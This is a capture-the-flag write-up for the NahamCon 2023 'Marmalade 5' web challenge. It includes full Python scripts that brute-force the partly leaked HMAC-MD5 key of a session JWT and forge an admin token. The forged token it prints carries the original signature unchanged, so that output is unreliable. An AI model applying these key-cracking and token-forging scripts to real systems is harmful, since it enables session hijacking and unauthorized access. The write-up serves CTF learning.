[![Nahamcon CTF 2023: Marmalade 5 (Web)](https://img.youtube.com/vi/3LRZsnSyDrQ/0.jpg)](https://www.youtube.com/watch?v=3LRZsnSyDrQ "Nahamcon CTF 2023: Marmalade 5 (Web)")
### Description>Enjoy some of our delicious home made marmalade!
## ReconCan't register as `admin`.```bashLogin as the admin has been disabled ```
Register as `cat` and it says only `admin` can get flag!
Check the [JWT](https://youtu.be/GIq3naOLrTg) in session cookies. ```jsoneyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6ImNhdCJ9.C3Z8QcoVXXFa-LAzFZbZ1w```
Decode it with [jwt.io](https://jwt.io)```json{  "alg": "MD5_HMAC"}{  "username": "cat"}```
## First attemptsTried `null` and `none` algorithm attacks with `jwt_tool`.```bashjwt_tool eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6ImNhdCJ9.C3Z8QcoVXXFa-LAzFZbZ1w -X a -pc username -pv admin```
When trying to use the tokens, get an error.```bashInvalid algorithm, we only accept tokens signed with our MD5_HMAC algorithm using the secret fsrwjcfszeg*****```
So we know the first 11 characters of the key `fsrwjcfszeg`, let's try to brute force the last 5.
Tried `jwt_tool` but it doesn't work with the `MD5_HMAC` algorithm.```bashjwt_tool eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6ImNhdCJ9.C3Z8QcoVXXFa-LAzFZbZ1w -C -p fsrwjcfszeg*****
Algorithm is not HMAC-SHA - cannot test with this tool.```
Same goes for `hashcat`.```bashhashcat -a 3 -m 16500 'eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6ImNhdCJ9.C3Z8QcoVXXFa-LAzFZbZ1w' fsrwjcfszeg?l?l?l?l?l
Hash 'eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6ImNhdCJ9.C3Z8QcoVXXFa-LAzFZbZ1w': Token length exceptionNo hashes loaded.```
## Solve script #1 (brute-force)Let's (me and chatGPT) make a custom script to crack the signature. ```pythonimport jwtimport hashlibimport hmacimport base64
jwt_token = "eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6ImNhdCJ9.C3Z8QcoVXXFa-LAzFZbZ1w"
def verify_jwt(jwt_token, key):    # Split the JWT into header, payload, and signature    header, payload, signature = jwt_token.split('.')
    # Recreate the signing input by concatenating the header and payload with a dot    signing_input = header + '.' + payload
    # Convert the signing input and key to bytes    signing_input_bytes = signing_input.encode('utf-8')    key_bytes = key.encode('utf-8')
    # Create an HMAC-MD5 hash object    hash_obj = hmac.new(key_bytes, signing_input_bytes, hashlib.md5)
    # Get the HMAC-MD5 signature    calculated_signature = hash_obj.hexdigest()
    # Decode the Base64-encoded signature from the JWT    decoded_signature = base64.urlsafe_b64decode(signature + "==")
    # Compare the decoded signature with the calculated signature    if decoded_signature == bytes.fromhex(calculated_signature):        print("Key:", key)        exit(0)
# Define the character set and key lengthcharset = "abcdefghijklmnopqrstuvwxyz"key_length = 5
# Loop through different keysfor i in range(len(charset) ** key_length):    key = ""    for j in range(key_length):        key = charset[i % len(charset)] + key        i //= len(charset)
    verify_jwt(jwt_token, 'fsrwjcfszeg' + key)```
Got the key!```bashKey: fsrwjcfszegvsyfa```
## Solve script #2 (forge token)Now another custom script to forge a token with user `admin`.```pythonimport jwtimport hashlibimport hmacimport base64
jwt_token = "eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6ImNhdCJ9.C3Z8QcoVXXFa-LAzFZbZ1w"key = "fsrwjcfszegvsyfa"
# Split the JWT into header, payload, and signatureheader, payload, signature = jwt_token.split('.')
# Decode the payload from the tokendecoded_payload = base64.urlsafe_b64decode(payload + "==").decode('utf-8')
# Modify the payloadmodified_payload = decoded_payload.replace('"username":"cat"', '"username":"admin"')
# Encode the modified payloadencoded_payload = base64.urlsafe_b64encode(modified_payload.encode('utf-8')).decode('utf-8').rstrip('=')
# Recreate the signing input by concatenating the header and modified payload with a dotsigning_input = header + '.' + encoded_payload
# Convert the signing input and key to bytessigning_input_bytes = signing_input.encode('utf-8')key_bytes = key.encode('utf-8')
# Create an HMAC-MD5 hash objecthash_obj = hmac.new(key_bytes, signing_input_bytes, hashlib.md5)
# Get the HMAC-MD5 signaturecalculated_signature = hash_obj.digest()
# Encode the calculated signature using base64encoded_signature = base64.urlsafe_b64encode(calculated_signature).rstrip(b'=').decode('utf-8')
# Replace the characters '+' and '/' in the encoded signature with '-' and '_'encoded_signature = encoded_signature.replace('+', '-').replace('/', '_')
# Create the modified JWT by concatenating the modified header, encoded payload, and encoded signaturemodified_jwt = header + '.' + encoded_payload + '.' + encoded_signature
print("Modified Token:", modified_jwt)```
Note, this script is inefficient (blame chatGPT obvs). Best to use `itertools.product` instead of a nested loop.
Anyway.. We receive a new token, signed with `MD5_HMAC` using the secret key `fsrwjcfszegvsyfa`.```basheyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.C3Z8QcoVXXFa-LAzFZbZ1w```
We replace the cookie and receive a flag!```txtflag{a249dff54655158c25ddd3584e295c3b}```